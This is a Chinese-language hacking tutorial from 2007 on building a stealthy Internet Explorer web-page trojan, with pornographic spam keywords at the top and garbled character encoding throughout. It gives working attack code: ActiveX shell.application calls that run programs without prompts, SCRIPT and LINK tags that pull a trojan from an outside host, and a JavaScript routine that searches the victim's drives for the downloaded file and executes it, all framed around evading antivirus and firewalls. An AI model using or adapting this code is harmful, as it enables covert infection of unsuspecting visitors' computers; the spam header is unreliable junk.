欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

打造完美的ＩＥ網(wǎng)頁(yè)木馬

 更新時(shí)間：2007年01月16日 00:00:00   作者：  
作者：碧雪   來(lái)源：第八軍團(tuán) 
      既然要打造完美的ＩＥ網(wǎng)頁(yè)木馬，首先就必須給我們的完美制定一個(gè)標(biāo)準(zhǔn)，我個(gè)人認(rèn)為一個(gè)完美的ＩＥ網(wǎng)頁(yè)木馬至少應(yīng)具備下列四項(xiàng)特征：  
　　一：可以躲過(guò)殺毒軟件的追殺；  
　　二：可以避開網(wǎng)絡(luò)防火墻的報(bào)警；  
　　三：能夠適用于多數(shù)的ＷＩＮＤＯＷＳ操作系統(tǒng)（主要包括ＷＩＮ９８、ＷＩＮＭＥ、ＷＩＮ２０００、ＷＩＮＸＰ、ＷＩＮ２００３）中的多數(shù)ＩＥ版本（主要包括ＩＥ５．０、ＩＥ５．５、ＩＥ６．０），最好能打倒ＳＰ補(bǔ)??；  
　　四：讓瀏覽者不容易發(fā)覺ＩＥ變化，即可以悄無(wú)聲息，從而可以長(zhǎng)久不被發(fā)現(xiàn)。  
　?。ㄗ⒁庖陨纤狞c(diǎn)只是指網(wǎng)頁(yè)本身而言，但不包括你的木馬程序，也就是說(shuō)我們的網(wǎng)頁(yè)木馬只是負(fù)責(zé)運(yùn)行指定的木馬程序，至于你的木馬程序的好壞只有你自己去選擇啦！別找我要，我不會(huì)寫的哦?。?nbsp; 
　　滿足以上四點(diǎn)我想才可以讓你的馬兒更青春更長(zhǎng)久，跑的更歡更快……  
　　看了上面的幾點(diǎn)你是不是心動(dòng)拉？別急，我們還是先侃侃現(xiàn)有的各種ＩＥ網(wǎng)頁(yè)木馬的不足吧！  
　　第一種：利用古老的MIME漏洞的ＩＥ網(wǎng)頁(yè)木馬  
　　這種木馬現(xiàn)在還在流行，但因?yàn)榇寺┒刺^(guò)古老且適用的ＩＥ版本較少，而當(dāng)時(shí)影響又太大，補(bǔ)丁差不多都補(bǔ)上啦，因此這種木馬的種植成功率比較低。  
　　第二種：利用com.ms.activeX.ActiveXComponent漏洞，結(jié)合ＷＳＨ及ＦＳＯ控件的ＩＥ網(wǎng)頁(yè)木馬  
　　雖然com.ms.activeX.ActiveXComponent漏洞廣泛存在于多數(shù)ＩＥ版本中，是一個(gè)比較好的漏洞，利用價(jià)值非常高，但卻因?yàn)樗Y(jié)合了流行的病毒調(diào)用的ＷＳＨ及ＦＳＯ控件，使其雖說(shuō)可以避開網(wǎng)絡(luò)防火墻的報(bào)警，可逃不脫殺毒軟件的追捕（如諾頓）。  
　　第三種：利用OBJECT對(duì)象類型確認(rèn)漏洞（Ｏｂｊｅｃｔ?。模幔簦帷。遥澹恚铮簦澹┎⒔Y(jié)合ＷＳＨ及ＦＳＯ控件的ＩＥ網(wǎng)頁(yè)木馬（典型的代表有動(dòng)鯊網(wǎng)頁(yè)木馬生成器）  
　　此種木馬最大的優(yōu)點(diǎn)是適應(yīng)的ＩＥ版本多，且漏洞較新，但卻有如下不足：  
　?。薄⒁?yàn)榇寺┒匆{(diào)用Mshta.exe來(lái)訪問(wèn)網(wǎng)絡(luò)下載木馬程序，所以會(huì)引起防火墻報(bào)警（如天網(wǎng)防火墻）；  
　?。?、如果此ＩＥ網(wǎng)頁(yè)木馬又利用了ＷＳＨ及ＦＳＯ控件，同樣逃不脫殺毒軟件的追捕（如諾頓），而  
動(dòng)鯊網(wǎng)頁(yè)木馬又恰恰使用了ＷＳＨ及ＦＳＯ控件，嘆口氣……可惜呀……？  
　?。?、再有就是這個(gè)漏洞需要網(wǎng)頁(yè)服務(wù)器支持動(dòng)態(tài)網(wǎng)頁(yè)如ＡＳＰ、ＪＳＰ、ＣＧＩ等，這就影響了它的發(fā)揮，畢竟現(xiàn)在的免費(fèi)穩(wěn)定的動(dòng)態(tài)網(wǎng)頁(yè)空間是少之又少；雖說(shuō)此漏洞也可利用郵件ＭＩＭＥ的形式（見我在安全焦點(diǎn)上發(fā)表的文章：《由錯(cuò)誤MIME漏洞的利用想到的......---IE Object Data 數(shù)據(jù)遠(yuǎn)程執(zhí)行漏洞的利用》http://www.xfocus.net/articles/200309/607.html）來(lái)利用，但經(jīng)測(cè)試發(fā)現(xiàn)對(duì)ＩＥ６．０不起作用。  
　　看到上面的分析你是不是有了這種感覺：千軍易得，一將難求，馬兒成群，奈何千里馬難尋！別急，下面讓我?guī)н@大家一起打造我心中的完美ＩＥ網(wǎng)頁(yè)木馬。  
　　首先要躲過(guò)殺毒軟件的追殺，我們就不能利用ＷＳＨ和ＦＳＯ控件，因?yàn)橹灰昧耍祝樱群停疲樱峡丶鸵欢ㄌ硬幻摗爸Z頓”的追殺，這可叫我們?cè)撊绾问呛茫?！別急，經(jīng)過(guò)我的努力工作（說(shuō)真的我也是在研究ＡＳＰ木馬時(shí)偶然發(fā)現(xiàn)的靈感）終于我有找到了一個(gè)可以用的控件，那就是 shell.application，并且它可是經(jīng)過(guò)了安全認(rèn)證的，可以在“我的電腦”域中的網(wǎng)頁(yè)中暢通無(wú)阻的執(zhí)行，比ＷＳＨ和ＦＳＯ更容易得到執(zhí)行權(quán)限（利用跨域漏洞即可），請(qǐng)看下面javascript代碼：  
<SCRIPT LANGUAGE="javascript" type="text/javascript">  
var shell=new ActiveXObject("shell.application");  
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();  
</SCRIPT>  
保存為test.htm后打開看是否自動(dòng)打開了記事本程序，而且不會(huì)象ＷＳＨ和ＦＳＯ那樣出現(xiàn)是否允許運(yùn)行的提示框，是不是有點(diǎn)興趣啦？現(xiàn)在我們已可以運(yùn)行所有已知路徑的程序，但我們要求運(yùn)行我們自己的木馬程序，所以還要求把我們的木馬程序下載到瀏覽者的電腦上并找出它的位置。我們一個(gè)個(gè)來(lái)解決：  
　?。薄⑾螺d木馬程序到瀏覽者的電腦中  
　　這一點(diǎn)可以有很多解決方法，比如我以前提到的ＷＩＮＤＯＷＳ幫助文件訪問(wèn)協(xié)議下載任意文件漏洞（its:），不過(guò)這次我們不用它，再教大家兩個(gè)更好的下載方法：  
　　例一：利用SCRIPT標(biāo)簽，代碼如下：  
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>  
注意此處的LANGUAGE屬性可以為除javascript、VBScript、JScript以外的字符串,也可以是漢字，至于src的屬性當(dāng)然是你的木馬程序的地址啦！因?yàn)楝F(xiàn)在免費(fèi)空間出于安全考慮，多數(shù)不允許上傳exe文件，我們可以變通一下把擴(kuò)展名exe改為bat或pif、scr、com，同樣可以運(yùn)行。  
　　例二：利用LINK標(biāo)簽，代碼如下：  
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>  
把代碼放在標(biāo)簽<HEAD></HEAD>中間，href屬性值為木馬程序的地址。  
上面兩個(gè)是我所知的最好的兩種下載木馬程序的方法，它們下載后的程序都保存在在ＩＥ臨時(shí)目錄Temporary Internet Files目錄下的子目錄中。  
　?。?、找出已下載到瀏覽者的腦中的木馬程序路徑  
　　我們可以利用shell.application控件的一些屬性和方法，并結(jié)合js的錯(cuò)誤處理try{}catch(e){}finally{}語(yǔ)句,進(jìn)行遞歸調(diào)用來(lái)找到木馬程序的路徑，代碼如下： function icyfoxlovelace(){  
//得到ＷＩＮＤＯＷＳ系統(tǒng)目錄和系統(tǒng)盤  
url=document.location.href;  
xtmu=url.substring(6,url.indexOf('\\',9)+1);  
xtp=url.substr(6,3);  

var shell=new ActiveXObject("shell.application");  
var runbz=1;  

//此處設(shè)置木馬程序的大小，以字節(jié)為單位  
//請(qǐng)把198201改為你的木馬程序的實(shí)際大小  
var exeSize=198201;  

//設(shè)置木馬程序名及擴(kuò)展名(exe,com,bat,pif,scr)，用于判斷是否是所下載的木馬程序  
//請(qǐng)把下面兩行中的icyfox改為你的木馬程序名，bat改為你的木馬程序的擴(kuò)展名  
var a=/icyfox\[\d*\]\.bat/gi;  
a.compile("icyfox\\[\\d*\\]\\.bat","gi");  

var b=/[A-Za-z]:\\/gi;  
b.compile("[A-Za-z]:\\\\","gi");//正則表達(dá)式,用于判斷是否是盤的根目錄  

//下面的代碼查找并運(yùn)行木馬程序  
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp+"Documents and Settings\\");  
if(runbz)yp();  

//在所有硬盤分區(qū)下查找并運(yùn)行木馬程序  
function yp(){  
try{  
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}  
else break;  
}  
}catch(e){}  
}  

//利用遞歸在指定目錄(包括子目錄)下查找并運(yùn)行木馬程序  
function wjj(b){  
try{  
var c=new Enumerator(shell.namespace(b).Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){  
var f=c.item().path;  
var v=f.lastIndexOf('\\')+1;  
try{  
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//運(yùn)行木馬程序  
runbz=0;  
break;  
}catch(e){}  
}  
if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目錄則遞歸調(diào)用  
}  
}catch(e){}  
}  
}  
icyfoxlovelace();  
請(qǐng)把以上代碼保存為icyfox.js。  

相關(guān)文章

最新評(píng)論